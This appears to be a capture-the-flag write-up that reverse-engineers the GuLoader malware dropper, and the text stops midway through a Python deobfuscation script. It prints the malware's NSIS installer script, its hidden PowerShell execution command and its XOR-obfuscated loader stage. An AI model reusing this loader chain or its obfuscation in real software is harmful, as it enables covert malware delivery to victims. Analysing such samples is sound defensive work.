Insomni’hack 2025 – GuLosity writeup

The challenge

A malware was provided from a real DFIR case that occurred in January 2024. The final payloads were disarmed here, to allow the analysts to dissect the binary safely until they fully understand the execution chain of a reflective shellcode loader named GuLoader [which initially led to the delivery of Remcos RAT with an additional keylogger, but the original nasty shellcodes were replaced by benign ones to provide the most realistic challenge].

Solvers

Congratulations to the 4 teams who solved it!

Step 1 – Discarding the Nullsoft stub

The easy way

Observing the malware with Process Monitor permits to quickly spot the light on PowerShell execution [from the SysWOW64 directory, hence in 32 bits]:

So, the binary makes some magic but ultimately runs:

C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden "$Auscultative223=Get-Content 'C:\Users\FRoGito\AppData\Roaming\opslagsvrkerne\incorporative\lathis\Samariterkursussets\ Chemosurgical207\Stippled.leg';$Brontology=$Auscultative223.SubString(50386,3);.$Brontology($Auscultative223)"

The hard way

But let be more curious. The binary turns to be a Nullsoft Installer according to PEiD and PeStudio:

We can therefore extract the files as if it was a ZIP file, as long as the decompression tool supports the NSIS format [like with 7zip v15.05, since it was given up in v15.06]. It permits to reveal a [NSIS].nsi script somehow obfuscated, here with a few additional comments to clarify its internals:

; NSIS script (UTF-8) NSIS-3 Unicode BadCmd=11
; Install

Unicode true
SetCompressor /SOLID lzma
SetCompressorDictSize 8

; --------------------
; HEADER SIZE: 8380
; START HEADER SIZE: 300
; MAX STRING LENGTH: 1024
; STRING CHARS: 1867

OutFile [NSIS].exe
!include WinMessages.nsh

ShowInstDetails nevershow
LicenseBkColor FFFA34

; --------------------
; LANG TABLES: 1
; LANG STRINGS: 51

Name Name
BrandingText Ilderens

; LANG: 1033
LangString LSTR_0 1033 Ilderens
LangString LSTR_1 1033 "$(LSTR_2) Setup"
LangString LSTR_2 1033 Name
LangString LSTR_5 1033 "Can't write: "
LangString LSTR_8 1033 "Could not find symbol: "
LangString LSTR_9 1033 "Could not load: "
LangString LSTR_17 1033 "Error decompressing data! Corrupted installer?"
LangString LSTR_21 1033 "Extract: "
LangString LSTR_22 1033 "Extract: error writing to file "
LangString LSTR_24 1033 "No OLE for: "
LangString LSTR_25 1033 "Output folder: "
LangString LSTR_29 1033 "Skipped: "
LangString LSTR_30 1033 "Copy Details To Clipboard"
LangString LSTR_37 1033 "Registering: "
LangString LSTR_38 1033 "Error opening file for writing: $\r$\n$\r$\n$0$\r$\n$\r$\nClick Abort to stop the installation,$\r$\nRetry to try again, or$\r$\nIgnore to skip this file."
LangString LSTR_39 1033 Custom
LangString LSTR_40 1033 Cancel
LangString LSTR_41 1033 ": Installing"
LangString LSTR_44 1033 "< &Back"
LangString LSTR_45 1033 "&Next >"
LangString LSTR_46 1033 "Click Next to continue."
LangString LSTR_47 1033 ": Completed"
LangString LSTR_48 1033 &Close

; --------------------
; VARIABLES: 22

Var _0_
Var _1_
Var _2_
Var _3_
Var _4_
Var _5_
Var _6_
Var _7_
Var _8_
Var _9_
Var _10_
Var _11_
Var _12_
Var _13_
Var _14_
Var _15_
Var _16_
Var _17_
Var _18_
Var _19_
Var _20_
Var _21_

InstType $(LSTR_36)    ; 
InstType $(LSTR_39)    ;  Custom
InstallDir $APPDATA\opslagsvrkerne\incorporative\lathis	; Target directory
; install_directory_auto_append = lathis
; wininit = $WINDIR\wininit.ini

; --------------------
; PAGES: 2

; Page 0
Page instfiles			; Progress bar
  CompletedText $(LSTR_43)      ; Display "Completed" at the end
  DetailsButtonText $(LSTR_42)  ; Display the "Show details" button

/*
; Page 1
Page COMPLETED
*/

; --------------------
; SECTIONS: 1
; COMMANDS: 69

Function func_0			; Strings manipulation function
  StrCpy $_19_ $_21_		; Initializes $_19_ with $_21_ which was never initialized; so $_19_ is empty
  StrCpy $_18_ $_21_		; Initializes $_18_ with the same unknown variable $_21_; so $_18_ is empty
  IntOp $_18_ $_18_ + 30	; Transforming $_18_ into a numeric value, which is therefore 0, incremented by 30
  IfSilent label_4 label_4	; We jump to the same label whether the installer is running in silent mode or not
label_4:
; label_4 is a parsing loop that reconstructs $_19_ with content extracted from $_17_ [at index 33, then by 4]
; Each time we pass through label_4:
; - $_18_ increases by 3, which advances the reading of $_17_ by 3
; - StrCpy $_20_ $_17_ 1 $_18_ extracts 1 character from $_17_ at the current position $_18_
; - It compares $_20_ with $_21_ (which is null since it was never initialized)
; - If it's not equal, $_18_ is increment by 1 before looping... Which means that the index was incremented by 4
  IntOp $_18_ $_18_ + 3	        ; Increments $_18_ by 3 (becomes 33 initially, then 37, 41, etc. Since we increment by 1 at the end of the loop)
  StrCpy $_20_ $_17_ 1 $_18_	; Copies 1 character from $_17_ at position $_18_ (i.e., positions 33, 37, 41, etc.) to $_20_
  StrCmp $_20_ $_21_ label_14	; Compare $_20_ with $_21_ and jump to label 14 if equal (otherwise continue)
  Push $_19_$_20_	        ; Concatenates $_19_ (NULL) with $_20_ (which contains a char from the payload) on the stack
  Pop $_19_			; Pops the junk char from the stack (to let only the payload char)
  IntOp $_18_ $_18_ + 1		; Incrémente $_18_ (qui devient 34 au premier run)
  IfFileExists $PROGRAMFILES\Omstruktureredes243.Tri label_11 label_11	; Always continue
label_11:
  Goto label_12
label_12:
  Goto label_4		; Loop until StrCmp $_20_ $_21_ becomes true [i.e. no more chars to read in $_17_]
  IfSilent label_14 label_14
label_14:			; Landing here at the end of the loop
  RegDLL $DOCUMENTS\panhellenist.dll	; DLL registration [removed for the chall]
  Push $_19_
FunctionEnd

Section ; Section_0
  ; AddSize 714
  SetOutPath $INSTDIR
  IfFileExists $INSTDIR\jackass.Pri label_32 label_20	; JMP to label32 if the file exists, otherwise to label 20
  FileSeek $_1_ 26725 END	; Never executed
label_20:	; Jumping here during 1st run since $INSTDIR\jackass.Pri does not exist... To extract all files
  File jackass.Pri		; Extraction of shellcodes file
  SetOutPath $INSTDIR\Samariterkursussets\Chemosurgical207
  File Stippled.leg		; Extraction of the main PowerShell dropper
  File Sammenfldningernes7.fha	; Extraction of other decoy files
  File Scutelliform.ene
  SetOutPath $INSTDIR
  File eksportforretnings.txt
  File fleksivs.del
  File jetstrmmes.spi
  File ligegodt.wis
  File spheniscine.hld
  File vovsens.bul
label_32: ; In the next runs, we jump directly here since jackass.Pri exists..
  StrCpy $5 Leg$\"	        ; Initializes variable $5 with "Leg$\""
  FileReadByte $_3_ $_4_	; Reads $_3_ (uninitialized) and stores the null byte read to $_4_ [never used]
  StrCpy $8 $INSTDIR\Samariterkursussets\Chemosurgical207\Stippled.leg	; Sets $8 to the PowerShell's dropper path
  StrCpy $2 "Ast$$tunBDisrUdeoenknMbetAccoShalMoroAnkgStryWag=Alk$$udvAYauuComsBefc TruStelObntNetaRestWapiVilv Une Un2Stv2Fol3 hu. NiSHakuJacbPosS SotOmfr HjiplenPungSti(Reg5Mon0The3 Lo8Kon6Sla,Ger3Fun)"	; 1st obfuscated string processed by func_0 for extraction	; Calls the function that deconstructs and reconstructs an obfuscated string
  StrCpy $_17_ "Laked Steganopodous Departemen$5Sim$$GauAHyluSubsBaccDisuBetl AfttraaMagtPhyi DevTileAut2Rhe2Ski3 Su=ondGBeneHjotMar-zygCHomoUnsnRant MaeAfsnSmatFor Ins'"
  Call func_0	; Calls the function to deobfuscate the 1st string
  Pop $6
  WriteRegDWORD HKCU Software\Microsoft\Windows\Collectivizes\Uninstall\udgangsforbudenes borgerkortet 0
  StrCpy $_17_ "Zoochores Reduktions KontormedLat'glo;$2Gua;Bro.Log$$AarB orrWisoigln HytRodoSkrltheoRntgKaryUnc(Bem$$AalA TjuFresAbscAnau KvlVartDrgacolt KuiDilv SteBli2Eng2 Po3Ene)$5"	; Second obfuscated string
  Call func_0	; Calls again the function to deobfuscate the 2nd string
  Pop $3
  StrCpy $_17_ "Ufornuftige Palatognathous Pro$5Anap MaoOrewAageSpirPamsSiahMore Anl AmlAra. Pee Frx Fae$5Led Rab-Answ Loi Tnntetd RooIntwMeesArmtAphy Vel Lieliz MeshIsai Cud UddFooeVern"	; Third obfuscated string
  Call func_0	; Calls again the function to deobfuscate the 3rd string
  Pop $_17_
  nsExec::ExecToLog "$_17_ $6$8$3"	// nsExec::Exec '"$TEMP\Samariterkursussets\Chemosurgical207\Stippled.leg"'
    ; Call Initialize_____Plugins
    ; SetOverwrite off
    ; File $PLUGINSDIR\nsExec.dll
    ; SetDetailsPrint lastused
    ; Push "$_17_ $6$8$3"
    ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToLog
  Pop $0
  IntCmp $_0_ 12138 label_53 label_53 label_53	; Compares $_0_ to 12138, but jump to label53 in all cases
label_53:
  ReadRegStr $_2_ HKLM Software\anskrigenes Konstruktiv71
SectionEnd

/*
Function Initialize_____Plugins
  SetDetailsPrint none
  StrCmp $PLUGINSDIR "" 0 label_65
  Push $0
  SetErrors
  GetTempFileName $0
  Delete $0
  CreateDirectory $0 ; !!!! Unknown Params:  $0 "" ProgramFilesDir   ; 1310 0 1
  IfErrors label_66
  StrCpy $PLUGINSDIR $0
  Pop $0
label_65:
  Return

label_66:
  MessageBox MB_OK|MB_ICONSTOP "Error! Can't initialize plug-ins directory. Please try again later." /SD IDOK
  Quit
FunctionEnd
*/

; --------------------
; UNREFERENCED STRINGS:

/*
17 CommonFilesDir
49 $PROGRAMFILES
52 "$PROGRAMFILES\Common Files"
68 $COMMONFILES
*/

Another way to understand this obfuscated NSIS script was to add some nsExec::Exec or DetailPrint directives to print the variables and see what they do at runtime after building the archive again with NSIS:

So, at the end the function func_0 progressively extracts the payload from the variable $_17_ and places it char by char on the stack so that results can be popped out into a few variables that are then rearranged to create this command [with the characters "IEX" being extracted to $Brontology to execute the PowerShell script in the Stippled.leg file]:

"powershell.exe" -windowstyle hidden "$Auscultative223=Get-Content 'C:\Users\FRoGito\AppData\Roaming\opsl agsvrkerne\incorporative\lathis\Samariterkursussets\Chemosurgical207\Stippled.leg';$Brontology=$Auscultative223.SubString(50386,3);.$Brontology($Auscultative223)"

Step 2 – Analysis the first stage script

So let’s have a look to this this disguisedStippled.legPowerShell script dropped by the installer:

After some formatting and a quick analysis, the scrambled variable called $Adjunkterne appears to hold the interesting part [between some random strings to avoid easy signature-based detection]:

function Conglomerate8 ($Dengues,$Vrdig)
{
 & $Sialagogic750 (Conglomerate9 'Natio$ QuinDBerghePlayan DaghgSrmrkuAmphieForplsGnawi Norwi-BonsebRevsexGearsoSeraprDecib Tamma$DechlVDesigrOvercdHnsesi skangSidse ');
}

# Conglomerate9 deobfuscates the code from the script
# It receives a string as argument...
# And extracts chars from it, starting at index 5, then jumping 6th char further, and so on...
Function Conglomerate9 ([String]$Herbaceously124)
{
 $Continuum=$Herbaceously124.ToCharArray();
 For($Sane=5; $Sane -lt $Continuum.count-1; $Sane+=(6))
 {
  $Mutarotation+=$Continuum[$Sane];
 }
 $Mutarotation;
}
 
$Sialagogic750 = Conglomerate9 'TvistIArgyrESubprX Henr ';
$Sialagogic751= Conglomerate9 $Adjunkterne;
&($Sialagogic750) $Sialagogic751

So, after self-deobfuscation at runtime we have:

  • $Sialagogic750 = “IEX”
  • A call to Conglomerate8() will run “IEX($Dengues -bxor $Vrdig)” [probably an XOR to decrypt a payload somewhere]
  • And the initial payload executed is “IEX $Sialagogic751”

The$Sialagogic751that gets run withIEXcontains the following code that defines the Mutarotation04 function needed to deobfuscate many additional strings:

;
Function Mutarotation04 ([String]$Herbaceously124, $Milieustttelovs = 0)
{
  $Frumentum = New-Object byte[] ($Herbaceously124.Length / 2);
  For($Sane=0; $Sane -lt $Herbaceously124.Length; $Sane+=2)
  {  $Frumentum[$Sane/2] = [convert]::ToByte($Herbaceously124.Substring($Sane, 2), 16);
     $Frumentum[$Sane/2] = Conglomerate8 $Frumentum[$Sane/2] 133;
  }
  $Garvningens=[String][System.Text.Encoding]::ASCII.GetString($Frumentum);
  if ($Milieustttelovs)
  {
    . ($Sialagogic750) $Garvningens;
  }
  else
  {
    ; $Garvningens;
  }
}
  $Alvorlig0=Mutarotation04   'D6FCF6F1E0E8ABE1E9E9';
  $Alvorlig1=Mutarotation04   'C8ECE6F7EAF6EAE3F1ABD2ECEBB6B7ABD0EBF6E4E3E0CBE4F1ECF3E0C8E0F1EDEAE1F6';
  $Alvorlig2=Mutarotation04   'C2E0F1D5F7EAE6C4E1E1F7E0F6F6';
  $Alvorlig3=Mutarotation04   'D6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3';
  $Alvorlig4=Mutarotation04   'F6F1F7ECEBE2';
  $Alvorlig5=Mutarotation04   'C2E0F1C8EAE1F0E9E0CDE4EBE1E9E0';
  $Alvorlig6=Mutarotation04   'D7D1D6F5E0E6ECE4E9CBE4E8E0A9A5CDECE1E0C7FCD6ECE2A9A5D5F0E7E9ECE6';
  $Alvorlig7=Mutarotation04   'D7F0EBF1ECE8E0A9A5C8E4EBE4E2E0E1';
  $Alvorlig8=Mutarotation04   'D7E0E3E9E0E6F1E0E1C1E0E9E0E2E4F1E0';
  $Alvorlig9=Mutarotation04   'CCEBC8E0E8EAF7FCC8EAE1F0E9E0';
  $Virkers0=Mutarotation04   'C8FCC1E0E9E0E2E4F1E0D1FCF5E0';
  $Virkers1=Mutarotation04   'C6E9E4F6F6A9A5D5F0E7E9ECE6A9A5D6E0E4E9E0E1A9A5C4EBF6ECC6E9E4F6F6A9A5C4F0F1EAC6E9E4F6F6';
  $Virkers2=Mutarotation04   'CCEBF3EAEEE0';
  $Virkers3=Mutarotation04   'D5F0E7E9ECE6A9A5CDECE1E0C7FCD6ECE2A9A5CBE0F2D6E9EAF1A9A5D3ECF7F1F0E4E9';
  $Virkers4=Mutarotation04   'D3ECF7F1F0E4E9C4E9E9EAE6';
  $Virkers5=Mutarotation04   'EBF1E1E9E9';
  $Virkers6=Mutarotation04   'CBF1D5F7EAF1E0E6F1D3ECF7F1F0E4E9C8E0E8EAF7FC';
  $Virkers8=Mutarotation04   'D9';
  $Vrdiganedrifters=Mutarotation04   'D0D6C0D7B6B7';
  $Resonans=Mutarotation04   'C6E4E9E9D2ECEBE1EAF2D5F7EAE6C4';
  $Denguesudifons   =   Mutarotation04   'EEE0F7EBE0E9B6B7';
  $Mellemvrenderne   =   Mutarotation04   'F0F6E0F7B6B7';
  $Mutarotation03   =   Mutarotation04   'C2E0F1C6EAEBF6EAE9E0D2ECEBE1EAF2';
  $Mutarotation00=Mutarotation04   'D6EDEAF2D2ECEBE1EAF2';
  $Merkantilisering=   "$env:temp\Nonresolvable.exe";
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B7A5B8A5ADC2E0F1A8D2E8ECCAE7EFE0E6F1A5D2ECEBB6B7DAD5F7EAE6E0F6F6A5F9A5D2EDE0F7E0A8CAE7EFE0E6F1A5FEA5A1D5CCC1A5A8E6EAEBF1E4ECEBF6A5A1DAABD5F7EAE6E0F6F6CCC1A5F8ACABD5E4F7E0EBF1D5F7EAE6E0F6F6CCC1'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B6A5B8A5C2E0F1A8D5F7EAE6E0F6F6A5A8CCE1A5A1D6ECF1F7E0EBE1E0B7B7A5A8C3ECE9E0D3E0F7F6ECEAEBCCEBE3EAA5F9A5D6E0E9E0E6F1A5A8C0FDF5E4EBE1D5F7EAF5E0F7F1FCA5C3ECE9E0CBE4E8E0'   1;
  Mutarotation04   'D6F1EAF5A8D5F7EAE6E0F6F6A5A8CCC1A5A1D6ECF1F7E0EBE1E0B7B7A5A8C3EAF7E6E0'   1;
  Mutarotation04   'C6EAF5FCA8CCF1E0E8A5A1D6ECF1F7E0EBE1E0B7B6A5A8C1E0F6F1ECEBE4F1ECEAEBA5A1C8E0F7EEE4EBF1ECE9ECF6E0F7ECEBE2A5A8D7E0E6F0F7F6E0A5A8C3EAF7E6E0'   1;
  function   Sitrende01   ($Denguesncestry,   $Prdikatnavnet)   {Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B5BDA5B8A5ADDEC4F5F5C1EAE8E4ECEBD8BFBFC6F0F7F7E0EBF1C1EAE8E4ECEBABC2E0F1C4F6F6E0E8E7E9ECE0F6ADACA5F9A5D2EDE0F7E0A8CAE7EFE0E6F1A5FEA5A1DAABC2E9EAE7E4E9C4F6F6E0E8E7E9FCC6E4E6EDE0A5A8C4EBE1A5A1DAABC9EAE6E4F1ECEAEBABD6F5E9ECF1ADA1D3ECF7EEE0F7F6BDACDEA8B4D8ABC0F4F0E4E9F6ADA1C4E9F3EAF7E9ECE2B5ACA5F8ACABC2E0F1D1FCF5E0ADA1C4E9F3EAF7E9ECE2B4AC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B5A5B8A5A1D6ECF1F7E0EBE1E0B5BDABC2E0F1C8E0F1EDEAE1ADA1C4E9F3EAF7E9ECE2B7A9A5DED1FCF5E0DED8D8A5C5ADA1C4E9F3EAF7E9ECE2B6A9A5A1C4E9F3EAF7E9ECE2B1ACAC'   1;
  Mutarotation04   'F7E0F1F0F7EBA5A1D6ECF1F7E0EBE1E0B4B5ABCCEBF3EAEEE0ADA1EBF0E9E9A9A5C5ADDED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3D8ADCBE0F2A8CAE7EFE0E6F1A5D6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3ADADCBE0F2A8CAE7EFE0E6F1A5CCEBF1D5F1F7ACA9A5ADA1D6ECF1F7E0EBE1E0B5BDABC2E0F1C8E0F1EDEAE1ADA1C4E9F3EAF7E9ECE2B0ACACABCCEBF3EAEEE0ADA1EBF0E9E9A9A5C5ADA1C1E0EBE2F0E0F6EBE6E0F6F1F7FCACACACACA9A5A1D5F7E1ECEEE4F1EBE4F3EBE0F1ACAC'   1;
  }function   Sitrende00   ([Parameter(Position   =   0)]   [Type[]]   $Hipponous,[Parameter(Position   =   1)]   [Type]   $Denguesruspice   =   [Void])   {Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B0A5B8A5DEC4F5F5C1EAE8E4ECEBD8BFBFC6F0F7F7E0EBF1C1EAE8E4ECEBABC1E0E3ECEBE0C1FCEBE4E8ECE6C4F6F6E0E8E7E9FCADADCBE0F2A8CAE7EFE0E6F1A5D6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC4F6F6E0E8E7E9FCCBE4E8E0ADA1C4E9F3EAF7E9ECE2BDACACA9A5DED6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC0E8ECF1ABC4F6F6E0E8E7E9FCC7F0ECE9E1E0F7C4E6E6E0F6F6D8BFBFD7F0EBACABC1E0E3ECEBE0C1FCEBE4E8ECE6C8EAE1F0E9E0ADA1C4E9F3EAF7E9ECE2BCA9A5A1E3E4E9F6E0ACABC1E0E3ECEBE0D1FCF5E0ADA1D3ECF7EEE0F7F6B5A9A5A1D3ECF7EEE0F7F6B4A9A5DED6FCF6F1E0E8ABC8F0E9F1ECE6E4F6F1C1E0E9E0E2E4F1E0D8AC'   1;
  Mutarotation04   'A1D6ECF1F7E0EBE1E0B4B0ABC1E0E3ECEBE0C6EAEBF6F1F7F0E6F1EAF7ADA1C4E9F3EAF7E9ECE2B3A9A5DED6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC6E4E9E9ECEBE2C6EAEBF3E0EBF1ECEAEBF6D8BFBFD6F1E4EBE1E4F7E1A9A5A1CDECF5F5EAEBEAF0F6ACABD6E0F1CCE8F5E9E0E8E0EBF1E4F1ECEAEBC3E9E4E2F6ADA1C4E9F3EAF7E9ECE2B2AC'   1;
  Mutarotation04   'A1D6ECF1F7E0EBE1E0B4B0ABC1E0E3ECEBE0C8E0F1EDEAE1ADA1D3ECF7EEE0F7F6B7A9A5A1D3ECF7EEE0F7F6B6A9A5A1C1E0EBE2F0E0F6F7F0F6F5ECE6E0A9A5A1CDECF5F5EAEBEAF0F6ACABD6E0F1CCE8F5E9E0E8E0EBF1E4F1ECEAEBC3E9E4E2F6ADA1C4E9F3EAF7E9ECE2B2AC'   1;
  Mutarotation04   'F7E0F1F0F7EBA5A1D6ECF1F7E0EBE1E0B4B0ABC6F7E0E4F1E0D1FCF5E0ADAC'   1;
  ;
  }Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B3A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C1E0EBE2F0E0F6F0E1ECE3EAEBF6A5A1D3ECF7EEE0F7F6B1ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8ACA5ADDECCEBF1D5F1F7D8ACACAC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B2A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C8E0E9E9E0E8F3F7E0EBE1E0F7EBE0A5A1C8F0F1E4F7EAF1E4F1ECEAEBB5B5ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DED0CCEBF1B6B7D8ACA5ADDECCEBF1D5F1F7D8ACACAC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4BDA5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C1E0EBE2F0E0F6F0E1ECE3EAEBF6A5A1C8F0F1E4F7EAF1E4F1ECEAEBB5B6ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8ACA5ADDECCEBF1D5F1F7D8ACACAC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4BCA5B8A5A1D6ECF1F7E0EBE1E0B4BDABCCEBF3EAEEE0ADB5AC'   1;
  Mutarotation04   'A1D6ECF1F7E0EBE1E0B4B2ABCCEBF3EAEEE0ADA1D6ECF1F7E0EBE1E0B4BCA9A5B5AC'   1;
  $Digenea   =   Sitrende01   $Virkers5   $Virkers6;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B6A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5B4B0B7B4B6A9A5B5FDB6B5B5B5A9A5B5FDB1B5AC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B5A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5BCBDBDB2B6B6B1B1A9A5B5FDB6B5B5B5A9A5B5FDB1AC'   1;
  $Sitrende2="$env:APPDATA\opslagsvrkerne\incorporative\lathis\jackass.Pri";
  Mutarotation04   'A1E2E9EAE7E4E9BFC1ECF1E6EDE0F6A5B8A5DED6FCF6F1E0E8ABCCCAABC3ECE9E0D8BFBFD7E0E4E1C4E9E9C7FCF1E0F6ADA1D6ECF1F7E0EBE1E0B7AC'   1;
  Mutarotation04   'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B6B1B6B4A9A5A5A1D6ECF1F7E0EBE1E0B6A9A5B4B0B7B4B6AC'   1;
  $Rappellvqr=$Ditches.count-15213-3431;
  Mutarotation04   'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B4B0B7B4B6AEB6B1B6B4A9A5A1D6ECF1F7E0EBE1E0B7B5A9A5A1D7E4F5F5E0E9E9F3F4F7AC'   1;
  Mutarotation04   'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B4A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1D3F7E1ECE2E4EBE0E1F7ECE3F1E0F7F6A5A1D7E0F6EAEBE4EBF6ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8ACA5ADDECCEBF1D5F1F7D8ACACAC'   1;
  Mutarotation04   'A1D6ECF1F7E0EBE1E0B7B4ABCCEBF3EAEEE0ADA1D6ECF1F7E0EBE1E0B6A9A1D6ECF1F7E0EBE1E0B7B5A9A1C1ECE2E0EBE0E4A9B5A9B5AC'   1   #

Step 3 – Analysis the second stage script

The payload is therefore split into multiple obscure strings that are deobfuscated by theMutarotation04()function at runtime, which basically:

  • Stores them in a byte array then calls theConglomerate8function on each byte to unXOR it with the decimal value 13
  • The deobfuscated byte array is returned by the function if the second argument is false [which is the default]
  • If so, theIEXfunction is used to execute the byte array

This function therefore decodes all the variables required to execute the payload. To deobfuscate the hexadecimal strings, we should XOR them with 13 and converts the output to ASCII. So, let’s confirm this on CyberChef through this basic recipe:

Cool, we are right! So let’s continue with CyberChef or write a quick Python script which will rebuild the stage 2 for us:

import re

def Mutarotation04(cipher):
    xor_value = 133
    Frumentum = bytearray(len(cipher) // 2)

    for Sane in range(0, len(cipher), 2):
        Hilse = cipher[Sane:Sane+2]
        byte_value = int(Hilse, 16)  # Convert hex to int
        xored_value = byte_value ^ xor_value  # unXOR with key 133
        Frumentum[Sane//2] = xored_value

    try:
        return Frumentum.decode('utf-8')  # Return the desofuscated string
    except UnicodeDecodeError as e:
        print(f"UTF-8 error: {e}")
        return Frumentum.hex()  # Or return the hex in case of problem


# Capturing all values between quotes after the string "Mutarotation04"
regex_mutarotation = rf"(Mutarotation04\s*)'([^']*)'"

# Obfuscated code to parse
code = r"""
;
Function Mutarotation04 ([String]$Herbaceously124, $Milieustttelovs = 0)
{
  $Frumentum = New-Object byte[] ($Herbaceously124.Length / 2);
  For($Sane=0; $Sane -lt $Herbaceously124.Length; $Sane+=2)
  {  $Frumentum[$Sane/2] = [convert]::ToByte($Herbaceously124.Substring($Sane, 2), 16);
     $Frumentum[$Sane/2] = Conglomerate8 $Frumentum[$Sane/2] 133;
  }
  $Garvningens=[String][System.Text.Encoding]::ASCII.GetString($Frumentum);
  if ($Milieustttelovs)
  {
    . ($Sialagogic750) $Garvningens;
  }
  else
  {
    ; $Garvningens;
  }
}
  $Alvorlig0=Mutarotation04   'D6FCF6F1E0E8ABE1E9E9';
  $Alvorlig1=Mutarotation04   'C8ECE6F7EAF6EAE3F1ABD2ECEBB6B7ABD0EBF6E4E3E0CBE4F1ECF3E0C8E0F1EDEAE1F6';
  $Alvorlig2=Mutarotation04   'C2E0F1D5F7EAE6C4E1E1F7E0F6F6';
  $Alvorlig3=Mutarotation04   'D6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3';
  $Alvorlig4=Mutarotation04   'F6F1F7ECEBE2';
  $Alvorlig5=Mutarotation04   'C2E0F1C8EAE1F0E9E0CDE4EBE1E9E0';
  $Alvorlig6=Mutarotation04   'D7D1D6F5E0E6ECE4E9CBE4E8E0A9A5CDECE1E0C7FCD6ECE2A9A5D5F0E7E9ECE6';
  $Alvorlig7=Mutarotation04   'D7F0EBF1ECE8E0A9A5C8E4EBE4E2E0E1';
  $Alvorlig8=Mutarotation04   'D7E0E3E9E0E6F1E0E1C1E0E9E0E2E4F1E0';
  $Alvorlig9=Mutarotation04   'CCEBC8E0E8EAF7FCC8EAE1F0E9E0';
  $Virkers0=Mutarotation04   'C8FCC1E0E9E0E2E4F1E0D1FCF5E0';
  $Virkers1=Mutarotation04   'C6E9E4F6F6A9A5D5F0E7E9ECE6A9A5D6E0E4E9E0E1A9A5C4EBF6ECC6E9E4F6F6A9A5C4F0F1EAC6E9E4F6F6';
  $Virkers2=Mutarotation04   'CCEBF3EAEEE0';
  $Virkers3=Mutarotation04   'D5F0E7E9ECE6A9A5CDECE1E0C7FCD6ECE2A9A5CBE0F2D6E9EAF1A9A5D3ECF7F1F0E4E9';
